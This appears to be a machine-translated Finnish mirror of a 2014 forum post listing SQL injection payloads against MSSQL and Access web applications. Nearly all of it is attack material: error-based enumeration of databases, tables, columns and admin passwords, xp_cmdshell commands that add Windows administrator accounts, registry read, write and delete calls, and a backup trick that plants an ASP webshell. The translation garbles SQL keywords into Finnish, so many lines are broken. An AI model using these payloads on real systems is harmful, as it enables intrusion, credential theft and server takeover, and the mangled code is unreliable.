Tämä artikkeli on konekäännöksen peiliartikkeli, klikkaa tästä siirtyäksesi alkuperäiseen artikkeliin.

Näkymä: 14167|Vastaus: 0

[Turvallinen viestintä] SQL-injektion yleiset lauseet

[Kopioi linkki]
Julkaistu 22.11.2014 17.17.21 | | |
1. Selvitä, onko injektio
; ja 1=1
; ja 1=2

2. Alustava tuomio siitä, onko kyseessä mssql
; ja käyttäjä>0

3. Arvioi tietokantajärjestelmää
; ja (valitse count(*) sysobjectsista)>0 mssql
; ja (valitse count(*) msysobjectsista)>0 pääsy

4. Injektioparametri on merkki
'ja [kyselykriteerit] ja ''='

5. Haun aikana ei ole suodatettuja parametreja
'and [kyselykriteerit] ja '%25'='

6. Arvaa pöydän nimi
; ja (valitse Count(*) [taulun nimi])>0

7. Arvaa kenttä
; ja (valitse Count (kentän nimi) taulukon nimestä)>0

8. Arvaa ennätyksen pituus kentällä
; ja (valitse top 1 lens (kentän nimi) taulukon nimestä)>0

9. (1) Arvaa kentän ASCII-arvo (access)
; ja (valitse top 1 ASC (mid(kentän nimi, 1,1)) taulukon nimestä)>0

(2) Arvaa kentän ASCII-arvo (mssql)
; ja (valitse top 1 unicode(alimerkkijono(kentän nimi,1,1)) taulukon nimestä)>0

10. Testiluparakenne (mssql)
; ja 1=(valitse IS_SRVROLEMEMBER('järjestelmänvalvoja')); --
; ja 1=(valitse IS_SRVROLEMEMBER('serveradmin')); --
; ja 1=(valitse IS_SRVROLEMEMBER('setupadmin')); --
; ja 1=(valitse IS_SRVROLEMEMBER('securityadmin')); --
; ja 1=(valitse IS_SRVROLEMEMBER('diskadmin')); --
; ja 1=(valitse IS_SRVROLEMEMBER('bulkadmin')); --
; ja 1=(valitse IS_MEMBER('db_owner')); --

11. Lisää tili mssql:lle ja järjestelmälle
; exec master.dbo.sp_addlogin käyttäjätunnus; --
; exec master.dbo.sp_password null, käyttäjätunnus, salasana; --
; johtaja master.dbo.sp_addsrvrolemember järjestelmänvalvojan käyttäjätunnus; --
; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; Exec master.dbo.xp_cmdshell 'Net User Password, Password /Add'; --
; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators käyttäjätunnus /add'; --

12. (1) Käy läpi luetteloa
; luo taulukko dirs(paths varchar(100), id int)
; Lisää DIRS:n johtaja master.dbo.xp_dirtree 'c:\'
; ja (valitse top 1 -polut dirsistä)>0
; ja (valitse top 1 -polut direistä, joissa polut eivät ole mukana ('polut, jotka on saatu edellisestä vaiheesta'))>)

(2) Käy läpi luetteloa
; luo taulukko temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Insert Temp Exec master.dbo.xp_availablemedia; -- Hae kaikki nykyiset asemat
; lisää temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Hanki lista alihakemistoista
; lisää temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hae hakemistopuun rakenne kaikille alihakemistoille
; lisää temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Katso tiedoston sisältö

13. Tallennetut menettelyt mssql:ssä
xp_regenumvalues Rekisterin juuriavain, lapsiavain
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' palauttaa kaikki avainarvot useissa tietuejoukoissa
xp_regread Juuriavain, lapsiavain, avain-arvon nimi
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' palauttaa asetusavaimen arvon
xp_regwrite Juuriavain, lapsiavain, arvon nimi, arvotyyppi, arvo
Arvoja on kahta tyyppiä: REG_SZ REG_DWORD merkkityypeille ja kokonaisluvuille
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' rekisteriin
xp_regdeletevalue Juuriavain, aliavain, arvonimi
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' poistaaksesi arvon
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' poistaaksesi avaimen, mukaan lukien kaikki avaimen alla olevat arvot

14. mssql-varmuuskopiointi luo webshellin
Käyttömalli
luo taulukko cmd(str-kuva);
lisää cmd(str)-arvoihin ('<% Dim oScript %>');
varmuuskopiointitietokantamalli disk='c:\l.asp';

15. MSSQL:n sisäänrakennetut toiminnot
; ja (valitse @@version)>0 saadaksesi Windowsin versionumeron
; ja user_name()='dbo' määrittääkseen, onko nykyisen järjestelmän yhdistetty käyttäjä SA
; ja (valitse user_name()))>0 Räjäytti nykyisen järjestelmän yhdistetyt käyttäjät
; ja (valitse db_name())>0 saadaksesi tällä hetkellä yhdistetyn tietokannan



MSSQL:n käsin annotoidun tietokantarikkomus

1. Paljasta nykyinen taulukon nimi ja sarakkeennimi
Lähetä "'having 1=1--" injektiopisteen jälkeen saadaksesi palautusviestin englanniksi, jossa näet taulukon nimen ja sarakkeen. Lähetä "ryhmä listan nimellä, jolla on 1=1--" saadaksesi uuden sarakkeen nimen; Jatka lähettämistä "ryhmittele näkyvän taulukon nimen listan mukaan, näkyvän taulukon nimen mukaan. Toisen sarakkeen nimi on 1=1--", mikä antaa toisen sarakkeen nimen. Commit samalla tavalla, kunnes sivu ei enää palauta virheilmoituksia, jotta saat kaikki sarakkeiden nimet. Trivia: Väkivaltaisia taulukkonimiä ja sarakkeiden nimiä käytetään yhdessä GROUP BY -ryhmän kanssa SQL-lauseissa ehdollisten arvioiden tekemiseen. Koska lauseke on puutteellinen, tietokanta palauttaa virheilmoituksen ja näyttää taulukon nimen sekä sarakkeen nimen. Perusmenetelmä voi paljastaa vain nykyisen taulukon tietokannassa, ja jos taulussa on paljon sarakkeen nimiä, perusmenetelmän käyttäminen on hyvin vaikeaa.

Ensimmäinen. Kaikki tietokantanimet ovat paljastuneet
Käytä lausetta "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])" paljastaaksesi tietokannassa mielivaltaiset taulukoiden ja sarakkeiden nimet, missä "[N]" edustaa tietokannan N:ttä taulua.
Vaihe 1: Pisteen injektion jälkeen lähetä seuraava lause: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", koska dbid:n arvo on välillä 1–5, jota järjestelmä käyttää, joten käyttäjän täytyy rakentaa se 6:sta ja me lähetimme nimen>1, nimikenttä on merkkityyppikenttä, ja numerovertailu on virheellinen, joten lähetyksen jälkeen IE palauttaa seuraavat tiedot: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] muuntaa nvarchar-arvon 'Northwind' datatype int kolumni. Näin nimikentän arvo paljastuu, eli saamme tietokannan nimen "Northwind". Arvon "dbid" muuttaminen voi saada kaikki tietokantanimet.

ja 0<>(valitse count(*) master.dbo.sysdatabasesista, missä name>1 ja dbid=[N])-- Muokkaa N:ää räjäyttämään kaikki tietokannan nimet 6:sta


Toiseksi. Näytä kaikki taulukoiden nimet määritetyssä tietokannassa
Kun saat tietokannan nimen, sinun täytyy nyt saada kaikki taulukon nimet kirjastosta, lähettää seuraava lause: "and 0<>(valitse top 1 name from master.dbo.sysobjects where xtype='U')", tässä on taulun nimi päätietokannassa, ja kyselyn SQL-lause palauttaa nimen arvon, ja vertaa sitä numeroon 0, jotta nimen arvo paljastuu. Luovutuksen jälkeen pöydän nimi oli "'spt_monito" paljastui.
Sitten muut taulukot paljastetaan ja seuraava lause toimitetaan: "and 0<>(valitse top 1 name from master.dbo.sysobjects, where xtype='U' and name not in('spt_monito')))", ja toinen taulukko nimeltä "cd512" paljastuu. Tiedosto "and name not in(' spt_monito',' CD512',..))" Voit selvittää kaikki taulukkojen nimet.

ja 0<>(valitse top 1 -nimi [määritä tietokannan nimi].dbo.sysobjects, missä xtype='U')--
ja 0<>(valitse top 1 -nimi [määritä tietokannan nimi].dbo.sysobjects, missä xtype='U' ja name not in('[Räjähtänyt taulun nimi]'))--
ja 0<>(valitse top 1 -nimi [määritä tietokannan nimi].dbo.sysobjects, missä xtype='U' ja nimi ei sisällä('[Räjähtävä taulun nimi]', '[Räjähtänyt toinen taulun nimi]')))--

4. Näytä kaikki sarakkeen nimet määritetyssä taulukossa
ja 0<>(valitse count(*) bbs.dbo.sysobjectsista, missä xtype='U' ja name='admin' sekä uid>(str(id)))
Muunna ID-arvo merkkityypiksi ja vertaa sitä kokonaislukuarvoon. Tunnistenumero on ulkona. Arvo on: 949578421 name='taulun nimi'

ja 0<>(valitse top 1 -nimi wutong.dbo.syscolumnsista, missä id=949578421)-- Kenttänimi admin-taulukossa paljastuu

Lähetä uudelleen ja 0<>(valitse top 1 -nimi wutong.dbo.syscolumnsista, missä id=949578421 ja nimi ei in('adduser')))--
Tiedosto "and name not in(' spt_monito',' CD512',..))" Kaikki kentän nimet löydät admin-taulukosta.


ja 0<>(valitse count(*) [määritä tietokannan nimi].dbo.sysobjects, missä xtype='U' ja name='[Räjäytettävän kentän taulun nimi]' ja uid>(str(id)))--Räjäytettävän kentän taulun nimen ID-arvo

ja 0<>(valitse top 1 -nimi [määritä tietokannan nimi].dbo.syscolumns, missä id=räjähtänyt id-arvo)-- Kentän nimi räjähtävässä id-arvotaulukossa

ja 0<>(valitse top 1 name [specify database name].dbo.syscolumnsista, missä id=Explosive id value and name not in('[Exploded field name]'))))--



5. Lue tiedot annetusta taulukosta

ja 0<(valitse A_ID wutong.dbo.admin, missä A_UserID>1) – sisältö, joka rikkoi A_PWD

ja 0<(valitse [olemassa oleva kenttä] [määritä tietokannan nimi].dbo.[taulukon nimi kyselylle] missä [kentän nimi sisällön räjäyttämiseksi]>1)--

ja 0<(valitse A_ID wutong.dbo.administa, missä A_PWD>1 ja A_UserID='admin')-- Adminin salasana paljastuu


ja 0<(Valitse Top 1 A_UserID FROM admin, missä A_ID<>1)-- Ylläpitäjän nimi id<>1 (fuhao)

ja 0<(Valitse Top 1 A_UserID FROM admin, jossa A_ID <>1 ja A_UserID <> 'fuhao')-- Toisen ylläpitäjän nimi <> ei ole sama kuin (tuiguang)

ja 0<(Valitse Top 1 A_UserID FROM admin, jossa A_ID <>1 ja A_UserID <> 'fuhao' ja A_UserID <> 'tuiguang')--

Kun tiedät tietokannan taulun nimen ja sarakkeen, voit käyttää "kyselylausetta" lukeaksesi tietokannan tietoja. Esimerkiksi, jos haluat lukea N:nnen datan taulukon sarakkeessa, voit lähettää lauseen: "and (Valitse Top 1 column name FROM table name, where id=[N])>1" ([N] edustaa N:ttä dataa sarakkeessa), ja voit tietää halutun datan IE:n palauttamasta tiedosta.






Edellinen:Kuinka piilottaa pakattu rar-tiedosto jpg-tiedostoon
Seuraava:Kerää "Harry Potter" 1~7 Ota se esiin ja jaa Jos et pidä siitä, älä suihkuta sitä
Vastuuvapauslauseke:
Kaikki Code Farmer Networkin julkaisemat ohjelmistot, ohjelmamateriaalit tai artikkelit ovat tarkoitettu vain oppimis- ja tutkimustarkoituksiin; Yllä mainittua sisältöä ei saa käyttää kaupallisiin tai laittomiin tarkoituksiin, muuten käyttäjät joutuvat kantamaan kaikki seuraukset. Tämän sivuston tiedot ovat peräisin internetistä, eikä tekijänoikeuskiistat liity tähän sivustoon. Sinun tulee poistaa yllä oleva sisältö kokonaan tietokoneeltasi 24 tunnin kuluessa lataamisesta. Jos pidät ohjelmasta, tue aitoa ohjelmistoa, osta rekisteröityminen ja hanki parempia aitoja palveluita. Jos rikkomuksia ilmenee, ota meihin yhteyttä sähköpostitse.

Mail To:help@itsvse.com